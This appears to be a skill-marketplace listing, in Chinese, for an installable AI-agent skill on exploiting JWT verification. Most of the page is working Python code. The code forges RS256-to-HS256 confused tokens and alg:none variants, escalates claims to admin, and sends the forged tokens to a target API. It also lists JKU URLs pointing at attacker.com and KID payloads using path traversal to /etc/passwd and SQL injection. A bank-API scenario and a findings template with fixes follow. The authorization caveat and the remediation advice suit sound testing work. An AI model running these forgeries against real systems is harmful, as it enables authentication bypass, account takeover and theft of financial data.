# Exploiting JWT Algorithm Confusion Attack

> 利用 JWT 算法混淆漏洞，该漏洞存在于服务器令牌验证库接受 JWT 头中指定的算法而非强制使用固定算法的场景。测试人员通过操纵 alg 头将 RS256 切换为 HS256（以 RSA 公钥作为 HMAC 密钥），将 alg 设置为 none 以绕过签名验证，或利用 kid/jku/x5u 头注入来提供攻击者控制的密钥。适用于 JWT 算法混淆、alg none 攻击、密钥混淆攻击或 JWT 签名绕过等请求场景。

- Skill: `killvxk/exploiting-jwt-algorithm-confusion-attack` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-jwt-algorithm-confusion-attack`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-jwt-algorithm-confusion-attack/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-jwt-algorithm-confusion-attack

---

# 利用 JWT 算法混淆攻击

## 适用场景

- 测试使用 RS256（非对称）JWT 令牌进行认证的 API，检查是否存在降级到 HS256 的问题
- 评估 JWT 实现中是否存在 alg:none 绕过（服务器跳过签名验证）
- 评估 JWT 库是否存在密钥混淆漏洞（公钥被用作 HMAC 密钥）
- 测试 kid（密钥 ID）、jku（JWK Set URL）和 x5u（X.509 URL）头参数是否存在注入问题
- 验证 API 服务器是否强制使用特定算法，而不信任 JWT 头

**不适用于**：未获书面授权的情况。利用 JWT 漏洞可能导致认证绕过和账户接管。

## 前置条件

- 明确目标 API 和基于 JWT 认证范围的书面授权
- 来自目标 API 的有效 JWT 令牌（通过合法认证获取）
- 服务器的 RSA 公钥（可从 JWKS 端点、TLS 证书或公钥端点获取）
- Python 3.10+，安装 `PyJWT`、`cryptography` 和 `requests` 库
- jwt_tool，用于自动化 JWT 攻击测试
- Burp Suite 配合 JWT Editor 扩展

## 工作流程

### 步骤 1：JWT 令牌分析

```python
import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# 捕获有效的 JWT 令牌
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# 解码 JWT 各部分
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
```

### 步骤 2：获取公钥

```python
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# 方法 1：JWKS 端点
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # 从 JWKS 中提取 RSA 公钥
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # 第一个密钥
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# 方法 2：从 OpenID 配置中获取
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# 方法 3：在常见路径上暴露
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")
```

### 步骤 3：算法混淆攻击（RS256 转 HS256）

```python
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    算法混淆：使用 RSA 公钥作为密钥以 HS256 签名令牌。
    若服务器使用信任 alg 头的通用 verify()，则会使用公钥验证 HMAC 签名，
    从而与我们的签名匹配。
    """
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    # 按需修改载荷
    if modifications:
        payload.update(modifications)

    # 创建 HS256 头
    new_header = {"alg": "HS256", "typ": "JWT"}

    # 编码头和载荷
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(new_header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # 使用 RSA 公钥作为密钥，以 HMAC-SHA256 签名
    signing_input = f"{header_b64}.{payload_b64}".encode()

    # 使用原始 PEM 字节作为 HMAC 密钥
    if isinstance(public_key_pem, str):
        public_key_pem = public_key_pem.encode()

    signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')

    return f"{header_b64}.{payload_b64}.{sig_b64}"

# 攻击 1：使用相同声明的算法混淆
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
    headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")

# 攻击 2：通过算法混淆提升权限
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
    modifications={"role": "admin", "sub": "admin@example.com"})
resp = requests.get(f"{BASE_URL}/admin/users",
    headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")

# 攻击 3：尝试不同的公钥格式
key_formats = [
    public_key_pem,                                    # 完整 PEM
    public_key_pem.strip(),                            # 去除首尾空白
    public_key_pem.replace(b'\n', b''),               # 无换行
    public_key_pem.decode().split('\n')[1:-1],        # 仅 Base64
]

for i, key_format in enumerate(key_formats):
    if isinstance(key_format, list):
        key_format = ''.join(key_format).encode()
    elif isinstance(key_format, str):
        key_format = key_format.encode()

    token = forge_hs256_with_public_key(valid_token, key_format)
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] Key format {i} worked for algorithm confusion")
```

### 步骤 4：算法 None 攻击

```python
def forge_none_algorithm(token, modifications=None):
    """创建使用 alg:none 变体的令牌，以绕过签名验证。"""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    if modifications:
        payload.update(modifications)

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # 不同的 "none" 算法变体
    none_variants = [
        {"alg": "none", "typ": "JWT"},
        {"alg": "None", "typ": "JWT"},
        {"alg": "NONE", "typ": "JWT"},
        {"alg": "nOnE", "typ": "JWT"},
        {"typ": "JWT"},  # 完全缺少 alg
    ]

    tokens = []
    for variant_header in none_variants:
        header_b64 = base64.urlsafe_b64encode(
            json.dumps(variant_header).encode()).decode().rstrip('=')

        # 不同的签名选项
        sig_options = [
            "",                    # 空签名
            ".",                   # 仅一个点
            parts[2],             # 原始签名
            base64.urlsafe_b64encode(b'\x00').decode().rstrip('='),  # 空字节
        ]

        for sig in sig_options:
            tokens.append(f"{header_b64}.{payload_b64}.{sig}")

    return tokens

# 测试所有 none 算法变体
none_tokens = forge_none_algorithm(valid_token)
for i, token in enumerate(none_tokens):
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
        print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")

# 测试权限提升
admin_none_tokens = forge_none_algorithm(valid_token,
    modifications={"role": "admin", "is_admin": True})
for token in admin_none_tokens:
    resp = requests.get(f"{BASE_URL}/admin/users",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print("[CRITICAL] Admin access via alg:none bypass")
        break
```

### 步骤 5：JKU 和 KID 头注入

```python
import os

# 攻击：JKU（JWK Set URL）注入
# 托管攻击者控制的 JWKS，其中包含我们的密钥对
def generate_attacker_jwks():
    """为攻击者服务器生成 RSA 密钥对和 JWKS。"""
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.backends import default_backend

    # 生成攻击者密钥对
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    public_numbers = public_key.public_numbers()

    n_b64 = base64.urlsafe_b64encode(
        public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
    e_b64 = base64.urlsafe_b64encode(
        public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')

    jwks = {
        "keys": [{
            "kty": "RSA",
            "kid": "attacker-key-1",
            "use": "sig",
            "alg": "RS256",
            "n": n_b64,
            "e": e_b64
        }]
    }

    return private_key, jwks

attacker_private_key, attacker_jwks = generate_attacker_jwks()

# 创建 JKU 指向攻击者服务器的 JWT
def forge_jku_token(payload_modifications, jku_url):
    """创建用攻击者密钥签名、JKU 指向攻击者 JWKS 的 JWT。"""
    payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
    payload.update(payload_modifications)

    header = {
        "alg": "RS256",
        "typ": "JWT",
        "kid": "attacker-key-1",
        "jku": jku_url  # 指向攻击者托管的 JWKS
    }

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # 使用攻击者私钥签名
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import padding

    signing_input = f"{header_b64}.{payload_b64}".encode()
    signature = attacker_private_key.sign(
        signing_input,
        padding.PKCS1v15(),
        hashes.SHA256()
    )
    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')

    return f"{header_b64}.{payload_b64}.{sig_b64}"

# 测试各种 URL 的 JKU 注入
jku_urls = [
    "https://attacker.com/.well-known/jwks.json",
    "https://attacker.com/jwks",
    # 绕过 URL 过滤器
    f"{BASE_URL}@attacker.com/jwks",
    f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
]

for jku in jku_urls:
    token = forge_jku_token({"role": "admin"}, jku)
    # 注意：此测试需要在指定 URL 上托管攻击者 JWKS
    print(f"  JKU injection payload generated for: {jku}")

# KID 注入（kid 参数中的 SQL 注入）
kid_injection_payloads = [
    "../../../../../../dev/null",              # 路径遍历到空文件
    "../../../../../../proc/sys/kernel/hostname",
    "' UNION SELECT 'secret-key' -- ",         # kid 查找中的 SQL 注入
    "' OR '1'='1",
    "../../../etc/passwd",
    "https://attacker.com/key.pem",            # 基于 URL 的 kid
]

for kid in kid_injection_payloads:
    modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(modified_header).encode()).decode().rstrip('=')
    payload_b64 = valid_token.split('.')[1]

    # 使用注入预期的密钥材料签名
    signing_input = f"{header_b64}.{payload_b64}".encode()
    # 对于路径遍历到 /dev/null，密钥为空
    sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
    sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')

    token = f"{header_b64}.{payload_b64}.{sig_b64}"
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] KID injection successful: {kid}")
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **算法混淆（Algorithm Confusion）** | 服务器信任 JWT 中的 alg 头，允许攻击者从 RS256 切换到 HS256，并以公钥作为 HMAC 密钥进行签名 |
| **alg:none 攻击** | 将 JWT 算法设置为 "none"，若库不强制算法选择，则可完全绕过签名验证 |
| **JKU 注入** | 操纵 jku（JWK Set URL）头，使其指向攻击者控制的 JWKS 端点，从而提供自己的签名密钥 |
| **KID 注入** | 向 kid（密钥 ID）头参数注入 SQL、路径遍历或 URL 载荷，以操纵密钥选择或读取任意文件 |
| **密钥混淆（Key Confusion）** | 服务器从非对称验证错误切换为对称验证时，使用 RSA 公钥作为 HMAC 密钥 |
| **JWKS（JSON Web Key Set）** | 包含服务器用于验证 JWT 签名的公钥的 JSON 结构，通常托管在知名端点上 |

## 工具与系统

- **jwt_tool**：基于 Python 的 JWT 测试工具集，支持 12 种以上攻击模式，包括算法混淆、none 绕过和 kid 注入
- **Burp Suite JWT Editor**：用于解码、编辑和重新签名 JWT 的扩展，具备算法操纵能力
- **hashcat（模式 16500）**：GPU 加速的 HMAC 密钥暴力破解，适用于 HS256/HS384/HS512 签名的 JWT
- **John the Ripper**：基于 CPU 的 JWT 密钥破解，支持字典和规则攻击
- **jwt.io**：在线 JWT 解码器和调试工具，可快速分析令牌

## 常见场景

### 场景：银行 API 上的算法混淆

**背景**：某银行 API 使用 RS256 签名的 JWT 进行认证。JWKS 端点公开可访问。该 API 处理需要高保证认证的金融交易。

**方法**：
1. 以普通用户身份认证，获取有效 JWT
2. 从 `/.well-known/jwks.json` 处的 JWKS 端点提取 RSA 公钥
3. 创建带有 `"alg": "HS256"` 头的新 JWT，使用 RSA 公钥作为 HMAC 密钥签名
4. 将伪造令牌发送至 `GET /api/v1/users/me` —— 服务器接受（确认算法混淆）
5. 修改载荷，设置 `"role": "admin"` 和 `"sub": "admin@bank.com"`，以公钥签名
6. 访问管理端点：`GET /api/v1/admin/transactions` 返回全部交易记录
7. 测试 alg:none：服务器拒绝（部分缓解）
8. 使用 SQL 载荷测试 kid 注入：kid 参数用于 SQL 查询以查找密钥，从而实现 SQL 注入

**注意事项**：
- 使用错误格式的公钥作为 HMAC 密钥（PEM 带/不带头、DER、原始字节）
- 首次格式不成功时，未尝试多种公钥格式
- 假设 alg:none 防御意味着算法混淆也得到了缓解
- 当 JWT 头中存在 kid 参数时，未测试 kid 注入向量
- 当服务器从 URL 获取密钥时，遗漏 JKU/x5u 头注入

## 输出格式

```
## 发现：JWT 算法混淆导致认证绕过

**ID**：API-JWT-001
**严重性**：严重（CVSS 9.8）
**CVE 参考**：CVE-2024-54150（相关模式）
**受影响组件**：JWT 认证中间件

**描述**：
API 的 JWT 验证库信任 JWT 头中指定的算法，而非强制使用固定算法。攻击者可
将算法从 RS256 更改为 HS256，并使用从 JWKS 端点获取的服务器 RSA 公钥作为
HMAC 密钥对令牌签名。服务器随后使用同一公钥验证 HMAC 签名，验证通过，使
攻击者能够为任意角色的任意用户伪造令牌。

**攻击链**：
1. 获取公钥：GET /.well-known/jwks.json
2. 创建 JWT：{"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. 使用 RSA 公钥 PEM 作为密钥，以 HMAC-SHA256 签名
4. 访问管理 API：GET /api/v1/admin/transactions -> 200 OK

**影响**：
完全认证绕过。攻击者可为包括管理员在内的任意用户伪造令牌，
访问所有金融交易、用户数据和管理功能。

**修复建议**：
1. 在服务器配置层面强制使用预期算法：jwt.verify(token, key, algorithms=["RS256"])
2. 切勿信任 JWT 中的 alg 头进行算法选择
3. 将 JWT 库升级到具备算法混淆保护的最新版本
4. 考虑使用 EdDSA（Ed25519），该算法不存在对称/非对称混淆风险
5. 实现令牌绑定，防止接受伪造令牌
```

